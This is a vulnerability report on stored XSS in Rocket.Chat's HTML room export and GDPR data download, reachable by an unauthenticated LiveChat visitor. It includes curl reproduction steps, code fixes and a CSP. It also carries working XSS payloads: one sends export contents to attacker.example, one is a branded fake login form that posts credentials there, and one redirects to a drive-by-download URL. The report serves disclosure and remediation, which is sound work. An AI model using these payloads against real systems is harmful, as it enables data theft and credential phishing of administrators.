Rocket.Chat · Report #3779690
Stored XSS in Rocket.Chat HTML File Export — Unauthenticated Entry via LiveChat
How it was found
Summary
Rocket.Chat's HTML file export feature (rooms.export API, type=file, format=html) writes message content and metadata directly into HTML output without any sanitization or entity encoding. An attacker — including an unauthenticated LiveChat visitor — can inject arbitrary JavaScript that executes when anyone exports the conversation and opens the resulting HTML file.
The same vulnerable code path is shared by the GDPR "Download My Data" feature, meaning a single malicious message in a shared channel poisons the personal data export of every channel member.
Root Cause
File: apps/meteor/server/lib/dataExport/exportRoomMessagesToFile.ts, function exportMessageObject():
const message = italicTypes.includes(messageType)
? `<i>${messageObject.msg}</i>`
: messageObject.msg;
file.push(`<p><strong>${messageObject.username}</strong> (${timestamp}):<br/>`);
file.push(message);
messageObject.msg is inserted raw into the HTML. No escapeHTML(), no entity encoding, no sanitization. The generated HTML has no CSP meta tag.
For contrast, the notification email path in the same codebase (apps/meteor/app/lib/server/functions/notifications/email.js) correctly applies escapeHTML() to all user-controlled fields — proving the developer was aware of the need for escaping but omitted it from the export path.
Attack Chain
Entry: Anonymous LiveChat Visitor (No Authentication)
POST /api/v1/livechat/visitor — no auth, no CAPTCHA
POST /api/v1/livechat/message — no auth, only visitor token
The visitor name field and msg field accept arbitrary strings with zero validation. HTML/JS tags are stored as-is in the database.
Delivery
The malicious message persists in the rocketchat_message collection. It enters the export via two paths:
- Room export (
rooms.exportAPI) — admin/moderator exports a channel or LiveChat conversation as HTML - GDPR data download (
users.requestDataDownload) — any user requests their personal data, which generates HTML files for all rooms they participate in. A cron job (userDataDownloadsCron) processes the request every ~2 minutes.
Trigger
The victim downloads the exported ZIP archive, extracts it, and opens the HTML file in a browser. JavaScript executes in the file:// context.
Proof of Concept
Environment
- Rocket.Chat 6.3.12 (Docker:
rocket.chat:6.3) - MongoDB 6.0 with replica set
- No email server configured (export files retrieved from container
/tmp/)
Steps to Reproduce
Step 1 — Register anonymous LiveChat visitor:
curl -X POST http://TARGET:3000/api/v1/livechat/visitor \
-H 'Content-Type: application/json' \
-d '{"visitor":{"name":"Customer","email":"[email protected]","token":"poc-token-001"}}'
Step 2 — Create LiveChat room (requires an agent to be online):
curl http://TARGET:3000/api/v1/livechat/room?token=poc-token-001
# Returns: {"room":{"_id":"ROOM_ID",...}}
Step 3 — Send XSS payload as anonymous visitor:
curl -X POST http://TARGET:3000/api/v1/livechat/message \
-H 'Content-Type: application/json' \
-d '{
"token":"poc-token-001",
"rid":"ROOM_ID",
"msg":"<img src=x onerror=\"fetch(\\\"https://attacker.example/exfil?d=\\\"+btoa(document.body.innerText))\">"
}'
No authentication headers required at any step.
Step 4 — Export the LiveChat room as HTML (as agent/admin):
curl -X POST http://TARGET:3000/api/v1/rooms.export \
-H 'X-Auth-Token: ADMIN_TOKEN' \
-H 'X-User-Id: ADMIN_UID' \
-H 'Content-Type: application/json' \
-d '{"rid":"ROOM_ID","type":"file","format":"html","dateFrom":"2020-01-01","dateTo":"2030-01-01"}'
Step 5 — Open the exported HTML file in a browser.
Result
The exported HTML contains the raw, unescaped XSS payload:
<p><strong>guest-2</strong> (Wed, 03 Jun 2026 13:23:22 GMT):<br/>
<img src=x onerror="fetch(\"https://attacker.example/exfil?d=\"+btoa(document.body.innerText))">
</p>
The <img onerror> handler fires immediately on page load. The full text content of the export (all messages in the conversation) is base64-encoded and sent to the attacker's server.
Artifacts
All PoC files are in the poc/rocketchat/ directory:
| File | Description |
|---|---|
docker-compose.yml | Rocket.Chat + MongoDB infrastructure |
poc_full.py | Automated PoC: register users, send payloads, trigger export |
GENERAL_export_live.html | Exported HTML with raw XSS payloads (from live Docker instance) |
cors_test.html | CORS boundary verification |
file_cookie_test.html | Cookie isolation verification (file:// origin) |
Affected Paths
| Path | Auth Required | Format | Escaping | Status |
|---|---|---|---|---|
rooms.export (type=file, format=html) | Admin / export-room perm | HTML file | NONE | VULNERABLE |
users.requestDataDownload (GDPR) | Any authenticated user | HTML file in ZIP | NONE | VULNERABLE |
sendViaEmail.ts (type=email) | mail-messages perm | HTML email body | Message.parse() for msg, NONE for username | PARTIALLY VULNERABLE |
sendTranscript.ts (LiveChat) | Agent | HTML email body | escapeHtml() applied | Not vulnerable |
notifications/email.js | System | HTML email body | escapeHTML() applied | Not vulnerable |
The inconsistency between the export paths (no escaping) and the notification/transcript paths (proper escaping) in the same codebase confirms this is an oversight, not a design decision.
Boundaries / Honest Scope
What this IS:
- Stored XSS with anonymous entry via LiveChat
- Data exfiltration of export contents (privilege escalation on data level)
- Credential phishing with no browser security indicators
- Affects every Rocket.Chat deployment with LiveChat enabled (default: enabled)
What this is NOT:
- Not a direct API takeover or RCE from the export context. The exported HTML opens in
file://origin, which cannot access Rocket.Chat's cookies, localStorage, or make authenticated API calls due to origin isolation. - Not zero-click. Requires the victim to: (1) export the room, (2) download the ZIP, (3) open the HTML file. Three user actions.
- Cookie sharing across
localhostports is a development-environment artifact (RFC 6265 port-agnostic cookies), not exploitable in production deployments where the export is opened fromfile://.
Remediation
Immediate fix (one-line per sink): Apply escapeHTML() to all user-controlled fields in exportRoomMessagesToFile.ts:
// Before:
file.push(`<p><strong>${messageObject.username}</strong> (${timestamp}):<br/>`);
file.push(message);
// After:
import { escapeHTML } from '@rocket.chat/string-helpers';
file.push(`<p><strong>${escapeHTML(messageObject.username)}</strong> (${escapeHTML(timestamp)}):<br/>`);
file.push(escapeHTML(message));
Defense in depth: Add a CSP meta tag to the exported HTML header:
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline'; img-src data:;">
This blocks script execution, external resource loading, and form submissions even if a new unescaped field is introduced in the future.
Same fix for sendViaEmail.ts: Escape message.u.username in the email template.
Impact
Impact
1. Data Exfiltration (Privilege Escalation on Data Level)
The XSS payload reads the contents of the exported HTML file — which contains the full channel history — and exfiltrates it to an attacker-controlled server:
<img src=x onerror="fetch('https://attacker.example/exfil',{method:'POST',body:btoa(document.body.innerText)})">
This constitutes a privilege escalation: the attacker gains access to messages sent before they joined the channel, and (via the GDPR export path) potentially to messages from channels they were never a member of, since the victim's export contains all their rooms.
Scenario: An anonymous LiveChat visitor sends an XSS payload. A support agent exports the conversation. The exported HTML also contains internal notes, other agents' messages, and system events from the LiveChat room — data the visitor should never see.
2. Credential Phishing
The XSS replaces the export content with a convincing Rocket.Chat login form that submits credentials to the attacker:
<img src=x onerror="
document.body.innerHTML='<div style=\'font-family:sans-serif;max-width:400px;margin:80px auto;padding:40px;border:1px solid #ddd;border-radius:8px\'>'
+'<img src=https://rocket.chat/images/logo/logo-dark.svg width=200 style=margin-bottom:20px>'
+'<h3>Session Expired</h3>'
+'<p style=color:#666>Your session has expired. Please sign in again to view this export.</p>'
+'<form action=https://attacker.example/creds method=POST>'
+'<input name=user placeholder=Username style=\'width:100%;padding:10px;margin:8px 0;box-sizing:border-box;border:1px solid #ccc;border-radius:4px\'>'
+'<input name=pass type=password placeholder=Password style=\'width:100%;padding:10px;margin:8px 0;box-sizing:border-box;border:1px solid #ccc;border-radius:4px\'>'
+'<button style=\'width:100%;padding:12px;background:#1d74f5;color:white;border:none;border-radius:4px;cursor:pointer;font-size:16px\'>Sign In</button>'
+'</form></div>';
document.title='Rocket.Chat — Sign In';
">
The victim sees a branded Rocket.Chat login page. They enter their admin credentials believing their session expired. The credentials are sent to the attacker.
Note: because the export runs in file:// context, there are no browser security indicators (no URL bar showing attacker.example, no certificate warnings). The phishing form is indistinguishable from a legitimate prompt.
3. Redirect to Malicious Content
<img src=x onerror="location='https://attacker.example/drive-by-download'">